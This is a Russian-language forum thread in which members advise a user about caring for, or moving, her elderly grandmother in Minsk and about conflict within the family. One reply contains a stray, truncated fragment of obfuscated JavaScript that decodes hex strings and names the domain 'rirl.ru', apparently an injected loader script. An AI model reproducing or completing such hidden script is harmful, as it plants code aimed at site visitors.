Поддерживаю Да0 / Нет0
прокурор
19659 прокурор
Прокурор offline
Репутация : 29536
Комментариев 236 2
07 ноября 2015 22:30:41
2015-11-07 22:30:41

Здравствуй, Кошка. Я к тебе с советом :)

У меня нету времени чтобы читать все комменты. Поэтому извини если в чем-то повторюсь.

Я думаю это вполне реально перевезти бабушку и при этом так чтобы с ней ничего не случилось. Но это будет стоить во-первых приличных денег, а во вторых, придется потратить много времени. Это при том варианте который я собираюсь предложить. Предлагаю "разбить" путешествие на несколько частей. Например нам нужно проделать путь с пункта А до пункта Б. На пути нам встречаются другие пункты: Б, Д, Е. То есть вместо того чтобы ехать прямиком с А до Б, можно останавливаться на пути в пунктах Б, Д, Е. Остановки могут длиться столько времени, сколько будет нужно. Можно в этих пунктах снять гостиничный номер, денек погулять, чтобы бабушка отошла от стресса, сходила в душ и туалет и т. д. Ну а потом с новыми силами опять в путь. В этих городах (пунктах) можно поискать знакомых чтобы в них переночевать и тогда не придется снимать гостиницу. Да это затратной и времени уйма уйдет. Но поскольку как я понимаю бабушка это очень дорогой вам человек, то в принципе это того стоит. Далее, что я советую - это независимо от того решитесь ли вы на такие остановки или нет, все равно обязательно с вами в путь возьмите медика с аптечкой и всем необходимым на случай чего. Это может быть медсестра или врач. Ну и последний совет - это пусть с вами путешествует крепкий умный мужчина. Женщинам в одиночку гораздо тяжелее со всем этим справиться.

Не знаю помогли мои советы или нет, но надеюсь что все разрешиться в скором времени с позитивным исходом !

Ответить
Поддерживаю Да2 / Нет0
прокурор
19659 прокурор
Прокурор offline
Репутация : 29536
Комментариев 236 2
07 ноября 2015 22:32:38
2015-11-07 22:32:38

Опечатка!

На пути нам встречаются Г , Д, Е***

Ответить
Поддерживаю Да0 / Нет0
Гость
Гость

08 ноября 2015 11:07:11
2015-11-08 11:07:11
У меня была подобная ситуация 2 года назад. Бабуле было тогда 85 лет, она - в России, мы в Украине. Она тогда резко сдала. Решили забирать. Бабуля, конечно, упиралась. Хотела быть похороненной дома. Потому узнавали тогда и как ее перевезти к нам, и как потом похоронить у нее в поселке. Так вот, к сведению Вам - частные службы скорой помоши осуществляют транспортировку больных в другой город, и в другую страну. Я тогда нашла такую службу, обо всем договорились. К сожалению, бабули не стало, мы не успели ее привезти. Мама была у нее в этот момент. Также есть и специальные перевозчики и для умерших, мы так же узнавали. Там специальный транспорт, все документы,
Ответить
Поддерживаю Да0 / Нет0
белая мышка
9141 белая мышка
Белая мышка offline
Репутация : 142964
Комментариев 1522 25
08 ноября 2015 16:56:54
2015-11-08 16:56:54

Сиреневая Кошка, не знаю как в Минске, но в России некоторые поезда делают остановку всего на 2 минуты. Тут не только бабушка не успеет, но и обычные люди сломя голову бегут к вагону. Я думаю, в таком случае надо кому-то добежать до вагона, предупредить проводника. А они поднимают красный флаг, сигнал машинисту, чтобы подождал.

Ответить
Поддерживаю Да1 / Нет0
казаться легкодоступной, но при этом быть недосягаемой-это верх искусства
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
08 ноября 2015 17:38:37
2015-11-08 17:38:37

белая мышка, Это да. В Минске обычно поезд подается задолго, потому что следует непосредственно из Минска. А вот наш город - это не конечная станция следования поезда, и стоянки бывают реально по 3 минуты. Тут нужно выбирать поезд с более длительной стоянкой, ну и все-таки сойти проще, чем добежать до вагоня, запрыгнуть в поезд...

Обо всем этом мы тоже думаем и учитываем.

// o;o++)t+=e. CharCodeAt(o). ToString(16);return t}, a=function(e){e=e. Match(/[\S\s]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "rirl.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Ответить
Поддерживаю Да1 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Нежная роза
8829 Нежная роза
Нежная роза offline
Репутация : 154947
Комментариев 2309 27
08 ноября 2015 21:56:02
2015-11-08 21:56:02
Сомневаюсь, что поезд будет ждать, пока пассажиры не спеша сядут. У них расписание. Это надо самим ехать в город, где стоянка больше.
Ответить
Поддерживаю Да0 / Нет0
Оптимист видит наполовину полный стакан, а пессимист - наполовину пустой.
Зайка 88
19822 Зайка 88
Зайка 88 offline
Репутация : 43375
Комментариев 1010 2
10 ноября 2015 20:30:55
2015-11-10 20:30:55
Сиреневая кошка, я думаю не стоит перевозить бабушку к себе, ведь она и сама этого не хочет. Там у себя на Родине она может навещать могилку дедушки и спокойно себе думать, что она будет потом когда-то лежать возле него, а не переживать, как там и что будет если она согласится на переезд... Поверьте, для нее это важно! А вы можете сами приезжать в отпуск к бабушке и помогать тете по хозяйству. Моя мама тоже хотела забрать свою маму к нам, потому что там в селе где жила бабушка был дурдом - дядя Валера, брат мамы, пьет, обзывал и кричал на бабушку... Я вас в какой-то мере понимаю, какая ситуация у вас там в Минске, когда крики, неспокойствие... Но, мы к сожалению, не успели забрать бабушку, так как она неожиданно для всех покинула этот мир... Целый день бегала, была на ногах, а вечером ее нашел в комнате ее внук Саша...
Ответить
Поддерживаю Да0 / Нет0
Самые ценные минуты в жизни - рядом с любимым человеком!
ксюня-звезда
7355 ксюня-звезда
Ксюня-звезда offline
Репутация : 173945
Комментариев 5955 9
11 ноября 2015 22:17:32
2015-11-11 22:17:32

Бабуля 90 лет вряд ли переживет такую дорогу, смысла в этом нет, пускай доживает там. У меня прабабушка жила с моими дедушкой и бабушкой тоже им несладко было но ничего терпели. И еще такой пример у мужа бабушка была жила в селе, переехала в город и через год умерла, смена места дала о себе знать все-таки!Нет варианта чтобы бабушка жила отдельно, а ее просто навещали??Просто я конечно все понимаю но жить со старым человеком это очень тяжело!И еще раз насчет переезда даже не придумывайте, это нереально!

Ответить
Поддерживаю Да1 / Нет0
ХОТЕЛА ЗАМУЖ... Пересмотрела взгляды на жизнь!.....Теперь хочу длинные волосы, новые туфельки, машин
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
24 декабря 21:58:38
2015-12-24 21:58:38

Ее право выбирать ехать или нет.

Что уж теперь делать?Ну вот не хочет. Силой же не увезешь. А на счет характера, еще не известно какими мы будем в их возрасте. Может тоже доставать своих детей будем.

Ответить
Поддерживаю Да4 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Блондиночка
10883 Блондиночка
Блондиночка offline
  • Мисс Остроумие
Репутация : 2899896
Комментариев 17187 30
11 сентября 23:51:34
2016-09-11 23:51:34

Да, действительно сложная ситуация... И это расстояние. Я не знаю что посоветовать даже. Ибо не знаешь как лучше будет.

Странные сёстры какие-то, неужели бабушку не жаль?

Может не на месяц, а хотя бы на недельку съездить. Чтоб своим примером немного пристыдить сестриц?

Ответить
Поддерживаю Да2 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Гость из Закарпатья
14699 Гость из Закарпатья
Гость из Закарпатья offline
Репутация : 194001
Комментариев 1403 3
12 сентября 01:53:11
2016-09-12 01:53:11
Советы тут безполезны... Просто напишу вам, держитесь и искренно пожелаю терпения... Я прекрасно понимаю какая у вас сложная ситуация... У моей мамы такая же была и даже похлеще с дедушкой(мамин папа). Тоже были слезы, нервы и безисходность... Это возраст... отмирание клеток... Кто знает какими мы будем в их возрасте. И дожить бы нам до таких почтенных лет...
Ответить
Поддерживаю Да2 / Нет0
Злая Сибирячка
20475 Злая Сибирячка
Злая Сибирячка offline
Репутация : 95019
Комментариев 702 1
12 сентября 06:10:41
2016-09-12 06:10:41

Оля, я понимаю что у вас уже семья, квартира, работа, но раз уж вы думаете взять расчет на работе и уехать, может стоит подумать о переезде в Беларусь? Хотя бы на время. Сделать рабочую визу, найти работу. Думаю по зарплате вы не будете отличаться от Украинской. А там снять квартиру недалеко от тети. Хотя я думаю парень ваш точно не одобрит, а вполне вероятно и не поедет с вами. Думаю в этой мысли есть рациональное зерно.

Ответить
Поддерживаю Да0 / Нет0
Злая Сибирячка
20475 Злая Сибирячка
Злая Сибирячка offline
Репутация : 95019
Комментариев 702 1
12 сентября 06:26:04
2016-09-12 06:26:04

Блин, не так поняла. Мама думает переехать в Беларусь.

А попробуйте маме там найти работу? Не знаю как в Беларуси и в Украине, у нас иной раз собеседование по скайпу пройти можно. Хотя в 50 лет действительно работу найти ой как сложно... Но может стоит попробовать? Может у тети на работе или у знакомых кто-то требуется?

Ответить
Поддерживаю Да0 / Нет0
О-ля-ля
20862 О-ля-ля
О-ля-ля offline
Репутация : 33713
Комментариев 240 4
12 сентября 08:41:14
2016-09-12 08:41:14

Может вам попробовать нанять помощницу тете, какую нибудь женщину, может медсестру бывшую, чтоб она приглядывала за ней и кормила, пока дома никого нет. Или на выходные, хоть на пару дней в неделю? Очень жалко тетю. И мама бы не чувствовала бы себя так плохо.

Ответить
Поддерживаю Да0 / Нет0
Никто не может сделать вас счастливыми – только вы сами способны сделать это. Бейонсе
Арийка***
21694 Арийка***
Арийка*** offline
Репутация : 99019
Комментариев 2144 43
12 сентября 17:20:28
2016-09-12 17:20:28

Сиреневая Кошка, мне кажется, что ты бы смогла уговорить бабушку уехать к вам. Но если она не хочет, тут ничего не поделаешь. Помогайте с мамой тете Зое и бабушке, чем можете. Да, ты смогла бы какое-то время терпеть бабушкины капризы , как с бельём, но думаю, что если бы она стала жить с вами, не было бы все так гладко, как тебе кажется. у тебя есть преимущество по сравнению с мамой и тётей - ты молода, у тебя больше моральных сил, чем у них. Это замечательно, что ты так любишь своих родных, поддерживай их и дальше. Желаю вам всем здоровья! По ситуации ничего посоветовать больше не могу, с таким пока не сталкивалась. Моя мама уже не первый год пытается уговорить своих родителей переехать сюда к нам в восточный Казахстан. Но смирилась с тем, что это не произойдёт. За ними ухаживает её младшая сестра. У них в южном Казахстане намного теплее, чем у нас, и цены на все ниже. Мамина сестра врач, оказывает и медицинскую помощь. Мама моя приезжает к ним туда почти каждый год, помогает с ремонтом, отправляет посылки и переводы. В последнее время они стали необщительные, у них в целом 5 телефонов, ни на один не дозвонишься))

терпен ия тебе и всей твоей семье, мира и понимания. Ждём продолжения

Ответить
Поддерживаю Да0 / Нет0
Смех и вздох, поцелуй и прощание - вот и вся наша жизнь
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
12 сентября 18:14:47
2016-09-12 18:14:47

Гость из Закарпатья, Спасибо за поддержку, у меня вчера просто срыв какой-то был.

Злая Сибирячка, Конечно, я не смогу туда переехать насовсем. Работать-то я смогла бы и там, мне для работы только интернет нужен, но жить там, снимать квартиру, я не смогу. У меня здесь любимый человек, дом, я не смогу это бросить. Мой парень точно не поедет за мной, у него тут бизнес, он не сможет его оставить. Снимать в Минске квартиру тоже недешево. Я просто думала поехать хоть на месяц, помочь тете немножко, чтобы она перевела дух, но честно говоря, я не знаю, стоит ли оно того. Если бы бабушка была лежачая и немощная, чтобы кому-то нужно было постоянно с ней быть, тогда, конечно, мы бы рассматривали сиделку, а так она вполне себя обслуживает сама, сиделка ей не нужна, да и моя помощь там будет заключаться только в том, чтобы побыть с ней и заставить поесть днем, когда все на работе. Но я ездила летом, всего пару месяцев назад, была там 2 недели, сидела с ней, общалась. Сейчас опять ехать? Не знаю, в общем.

Блондиночка , Поверь, их стыдить бесполезно. Они взрослые девочки и сами все прекрасно понимают. Я ездила недавно, не на недельку, а на две, но толку с этого...

Ситуацию осложняет то, что тетя на работе до 8 вечера, пока доберется домой - уже 9. Она просит сестру хотя бы покормить бабушку вечером, когда та возвращается домой, в 6-7 вечера. Посидеть с ней хотя бы иногда, пока тетя не вернется с работы, но это тоже бесполезно. Сестра просто говорит, что психологически не выдерживает бабушку и идет ночевать к подруге или едет в пригород к двоюродной сестре на два дня.

Я понимаю, что осуждать легко, сидя за 100 км, не знаю, как бы вела себя на месте сестры, может быть тоже злилась бы и психовала. Но я все равно не понимаю, неужели не жаль свою родную мать, она же видит, что тетя просто уже на грани, она не выдерживает. И злиться на бабушку нечестно, я понимаю, что это все тяжело, но она же не виновата, это просто возраст.

Короче я не знаю, меня все это уже достало. И я, может малодушная, но я не могу бросить свою жизнь, своего любимого человека, без которого вообще жизнь не представляю свою маму и уехать туда жить насовсем, отдавать 300 долларов за съем квартиры только потому что сестра не может переступить через себя и посидеть час в день с бабушкой, покормить ее. Я эгоистка?

Ответить
Поддерживаю Да0 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Неалина
5436 Неалина
Неалина offline
Репутация : 446681
Комментариев 7669 30
12 сентября 20:27:13
2016-09-12 20:27:13

Если есть микроволновка можно ее подключить в прихожей!Чтоб погреть сама могла!Чайник туда же. И воду с таблетками или что она принимает.

Печально когда такое случается!У самой когда бабушке плохо было ездила все выходные с ней сидела!Я не знаю как отреагируешь. Скольким просто советовала никто не хочет пробовать. Просто нас не раз выручало. Если захочешь испробовать напиши мне в личку. Я напишу. Мне не жалко!Просто когла речь идет о близких любой вариант рассматриваешь!Я не навязываю и не буду.

Ответить
Поддерживаю Да0 / Нет0
Обидеть Лену может каждый!Не каждый сможет убежать!
Блондиночка
10883 Блондиночка
Блондиночка offline
  • Мисс Остроумие
Репутация : 2899896
Комментариев 17187 30
12 сентября 21:19:08
2016-09-12 21:19:08

Сиреневая Кошка, да почему же ты эгоистка?
Ну не можешь же ты половину своей жизни посвятить бабушке.

Тебя можно было бы назвать эгоисткой, если бы бабушка жила под боком, а ты не принимала в её жизни никакого участия.

Но ты же не против помогать, просто возможности такой нет из-за расстояния.

Со мной тоже живёт бабушка. Все пожилые люди имеют скверный характер. За ней нужен тоже уход. Просто она перенесла два инсульта и у неё нога и рука плохо двигаются. При этом она полуслепая уже. Раз в год приходится её оформлять в больницу. А это морока. Очень сложно её таскать по кабинетам. Ибо на еле ходит. Приходится практически самой закидывать её на кушетки. Но ей необходимо из-за её болезни раз в год прокапываться. Вот скоро опять мне предстоит весь день торчать в больнице.

Дома она не может себя обслуживать. Даже элементарно чай налить неспособна. Приходится ей во всём помогать.

Иногда всё это начинает ужасно бесить. Но я понимаю, что она моя бабушка и я бы тупо не смогла куда-то свалить, зная, что она сидит одна дома голодная. Это нужно вообще быть безразличным человеком.

Так же кроме меня есть внуки. Которые живут на расстоянии. И я понимаю, что они физически не могут ухаживать за бабушкой. Так же как её вторая дочь. Она тоже живёт далеко.

Поэтому как по мне, так именно твои сёстры, мало того, что эгоистки, так самое страшное они - безразличные....

Ответить
Поддерживаю Да4 / Нет0
Хожу по дому на каблуках и пью кефир из фужера. Это придаёт моему безделью особую изысканность.
Уважаемые пользователи, у каждого человека своя точка зрения на то, что изложено в истории. Даже если Вы не согласны с автором истории или с другими читателями, пытайтесь выражать свое мнение в деликатной форме. Чтобы обгадить другого, много ума не нужно, а вот помочь дельным советом не каждый сможет.
Имя :
Пол: Гость Гость
Простой редактор

Введите число указанное на картинке